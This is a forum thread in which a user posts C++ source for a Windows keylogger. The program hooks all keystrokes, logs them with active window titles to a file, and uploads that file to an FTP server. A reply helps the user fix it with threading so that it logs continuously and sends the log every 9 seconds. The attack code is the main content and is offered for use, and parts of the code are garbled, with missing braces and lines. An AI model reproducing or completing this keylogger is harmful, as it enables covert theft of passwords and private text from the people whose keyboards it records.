hi everybody

my problem is when i set timer for ftp to send me a file , the keylogger doesn't log or save any text in log file , i face this problem just when i set timer for ftp otherwise it work fine i mean without timer

i set timer for 9s just for test

#include <windows.h>
#include <fstream>
#include <wininet.h>
#include <string>
#include <ctime>
#include <iostream>
using namespace std;

void vSendFile()
	HINTERNET hInternet;
	HINTERNET hFtpSession;

	if (hInternet == NULL) cout << ("No Internet Connection..\n");
	else cout << ("Internet Connection Established\n");

	hFtpSession = InternetConnect(hInternet,"FTP-server",INTERNET_DEFAULT_FTP_PORT, "user","pass", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE,0 );
	if (!hFtpSession) cout << ("Error in the FTP connection..\n");
		cout <<("FTP Connection Established!\n");
		if (!FtpPutFile(hFtpSession, "log.txt", "log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
		cout <<("File Transfer Failed..\n");
		else cout << ("The file was sent..\n");
// Initialize a keyboard HHOOK
HHOOK KeyboardHook;

// Function to write to a file
void write(const char* c)
 //   const char* fileLocation = "F:\\log.txt"; // Define the location of log file
    FILE *f = fopen("log.txt","a+"); // Open the log file in append mode
        fputs(c,f); // Write to end of the file
        fclose(f); // Close the file

// The WIN API Message Loop
void KeepAlive()
    MSG message;
    while (GetMessage(&message,NULL,0,0))

// Unhook and exit
void Exit()

// Is shift key down ?
bool shift = false;
// Store window
HWND oldWindow = NULL;
// Window text
char cWindow[MAX_PATH];

// Callback function to be hooked
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
    bool bControlKeyDown=0;
    // Get current state of capsLock
    bool caps = GetKeyState(VK_CAPITAL) < 0;
    if(nCode == HC_ACTION){
        // Determine the current state of shift key
        if(p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT){
            if(wParam == WM_KEYDOWN)
                shift = true;
                shift = false;
        // Check if F12 + CTRL is pressed, if yes -> exit
        bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
        if (p->vkCode == VK_F12 && bControlKeyDown) // If F12 and CTRL are pressed
        // Start logging keys
        if(wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) // If key has been pressed
            HWND newWindow = GetForegroundWindow();
            if(oldWindow == NULL || newWindow != oldWindow){
                // Get Active window title and store it
                GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
                write("\nActive Window: ");
                oldWindow = newWindow;
            // Virtual key codes reference: http://msdn.microsoft.com/en-us/library/dd375731%28v=VS.85%29.aspx
            switch(p->vkCode) // Compare virtual keycode to hex values and log keys accordingly
                //Number keys
                case 0x30: write(shift?")":"0");break;
                case 0x31: write(shift?"!":"1");break;
                case 0x32: write(shift?"@":"2");break;
                case 0x33: write(shift?"#":"3");break;
                case 0x34: write(shift?"$":"4");break;
                case 0x35: write(shift?"%":"5");break;
                case 0x36: write(shift?"^":"6");break;
                case 0x37: write(shift?"&":"7");break;
                case 0x38: write(shift?"*":"8");break;
                case 0x39: write(shift?"(":"9");break;
                // Numpad keys
                case 0x60: write("0");break;
                case 0x61: write("1");break;
                case 0x62: write("2");break;
                case 0x63: write("3");break;
                case 0x64: write("4");break;
                case 0x65: write("5");break;
                case 0x66: write("6");break;
                case 0x67: write("7");break;
                case 0x68: write("8");break;
                case 0x69: write("9");break;
                // Character keys
                case 0x41: write(caps?(shift?"a":"A"):(shift?"A":"a"));break;
                case 0x42: write(caps?(shift?"b":"B"):(shift?"B":"b"));break;
                case 0x43: write(caps?(shift?"c":"C"):(shift?"C":"c"));break;
                case 0x44: write(caps?(shift?"d":"D"):(shift?"D":"d"));break;
                case 0x45: write(caps?(shift?"e":"E"):(shift?"E":"e"));break;
                case 0x46: write(caps?(shift?"f":"F"):(shift?"F":"f"));break;
                case 0x47: write(caps?(shift?"g":"G"):(shift?"G":"g"));break;
                case 0x48: write(caps?(shift?"h":"H"):(shift?"H":"h"));break;
                case 0x49: write(caps?(shift?"i":"I"):(shift?"I":"i"));break;
                case 0x4A: write(caps?(shift?"j":"J"):(shift?"J":"j"));break;
                case 0x4B: write(caps?(shift?"k":"K"):(shift?"K":"k"));break;
                case 0x4C: write(caps?(shift?"l":"L"):(shift?"L":"l"));break;
                case 0x4D: write(caps?(shift?"m":"M"):(shift?"M":"m"));break;
                case 0x4E: write(caps?(shift?"n":"N"):(shift?"N":"n"));break;
                case 0x4F: write(caps?(shift?"o":"O"):(shift?"O":"o"));break;
                case 0x50: write(caps?(shift?"p":"P"):(shift?"P":"p"));break;
                case 0x51: write(caps?(shift?"q":"Q"):(shift?"Q":"q"));break;
                case 0x52: write(caps?(shift?"r":"R"):(shift?"R":"r"));break;
                case 0x53: write(caps?(shift?"s":"S"):(shift?"S":"s"));break;
                case 0x54: write(caps?(shift?"t":"T"):(shift?"T":"t"));break;
                case 0x55: write(caps?(shift?"u":"U"):(shift?"U":"u"));break;
                case 0x56: write(caps?(shift?"v":"V"):(shift?"V":"v"));break;
                case 0x57: write(caps?(shift?"w":"W"):(shift?"W":"w"));break;
                case 0x58: write(caps?(shift?"x":"X"):(shift?"X":"x"));break;
                case 0x59: write(caps?(shift?"y":"Y"):(shift?"Y":"y"));break;
                case 0x5A: write(caps?(shift?"z":"Z"):(shift?"Z":"z"));break;
                // Special keys
                case VK_SPACE: write(" "); break;
                case VK_RETURN: write("\n"); break;
                case VK_TAB: write("\t"); break;
                case VK_ESCAPE: write("[ESC]"); break;
                case VK_LEFT: write("[LEFT]"); break;
                case VK_RIGHT: write("[RIGHT]"); break;
                case VK_UP: write("[UP]"); break;
                case VK_DOWN: write("[DOWN]"); break;
                case VK_END: write("[END]"); break;
                case VK_HOME: write("[HOME]"); break;
                case VK_DELETE: write("[DELETE]"); break;
                case VK_BACK: write("[BACKSPACE]"); break;
                case VK_INSERT: write("[INSERT]"); break;
                case VK_LCONTROL: write("[CTRL]"); break;
                case VK_RCONTROL: write("[CTRL]"); break;
                case VK_LMENU: write("[ALT]"); break;
                case VK_RMENU: write("[ALT]"); break;
                case VK_F1: write("[F1]");break;
                case VK_F2: write("[F2]");break;
                case VK_F3: write("[F3]");break;
                case VK_F4: write("[F4]");break;
                case VK_F5: write("[F5]");break;
                case VK_F6: write("[F6]");break;
                case VK_F7: write("[F7]");break;
                case VK_F8: write("[F8]");break;
                case VK_F9: write("[F9]");break;
                case VK_F10: write("[F10]");break;
                case VK_F11: write("[F11]");break;
                case VK_F12: write("[F12]");break;
                // Shift keys
                case VK_LSHIFT: break; // Do nothing
                case VK_RSHIFT: break; // Do nothing
                // Symbol keys
                case VK_OEM_1: write(shift?":":";");break;
                case VK_OEM_2: write(shift?"?":"/");break;
                case VK_OEM_3: write(shift?"~":"`");break;
                case VK_OEM_4: write(shift?"{":"[");break;
                case VK_OEM_5: write(shift?"|":"\\");break;
                case VK_OEM_6: write(shift?"}":"]");break;
                case VK_OEM_7: write(shift?"\"":"'");break;
        DWORD dwMsg = p->scanCode << 16;
    dwMsg += p->flags << 24;
    char key[16];
    // Forward the event to other hooks
    return CallNextHookEx(NULL,nCode,wParam,lParam);

// WinAPI main method
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    // Write to file
    // Hook to all available threads
    KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
 // uploaddata();

        // Keep alive till F12 + CTRL key press is detected - can also register Hotkey
      //  std::string FileName = get_date();

    // Return and exit
    return 0;

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Uhhh :S Your window isn't even created? Then in the main of the program, your calling vSendFile() which doesn't even have any data to send because the hook is after the SendFile.. Not only that but SendFile loops forever so it never gets to the hook?

then you get the message Callback which starts logging all the info into the text.. then what? Nothing happens because your still stuck in the SendFile loop.

Also if your going to do this, learn threading or implement it if you already know it.

Have a thread constantly log keys and put them in the file.. and in the main, have it send out the file every 9 seconds.. Otherwise your Main will be waiting every 9 seconds before it starts logging keys and sending them.

thanks for your answer

triumphost what should i do ?

someone answer me ..... i am waiting

I told you :S

Create a thread to do the sending out..
Every 9 seconds, your thread will send out the file..

Note Below is just an example.. My threading may be off a bit or a lot.. it's been a while but I'm sure you can handle that.

MSG messages;       //Global
void KeepAlive()
    while (GetMessage(&messages, NULL,0,0))

void vSendFile()
    //Do whatever in here.. every 9 seconds..

void write(const char* c)
    FILE *f = fopen("log.txt","a+");

DWORD ThreadProc(LPVOID lpParameter)
    //Run the function!
    void (* function)() = (void (*)())lpParameter;
    return 0;

void Threading(HANDLE hThread, DWORD ThreadID, void* FunctionToPass)
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (void*)FunctionToPass, 0, &ThreadID);

//WinMain Here..
//All WinAPI functions required..

    ShowWindow (hwnd, nCmdShow);

    //Hook your keyboard..

    //Message Proc..
return messages.wParam;

//Callback or whatever call back your using should have these:

DWORD TThreadID = 1;
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    switch (message)                  /* handle the messages */
        case WM_CREATE:
            Threading(HThread, TThreadID, (void*)vSendFile);  //Create a thread that sends out the file after 8 seconds.. After the 8 seconds is up, destroy the thread or return 0 inside the thread. Close the thread handle..
        case WM_DESTROY:
            CloseHandle(HThread);      //Close the handle if HThread != NULL..
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);

    return 0;
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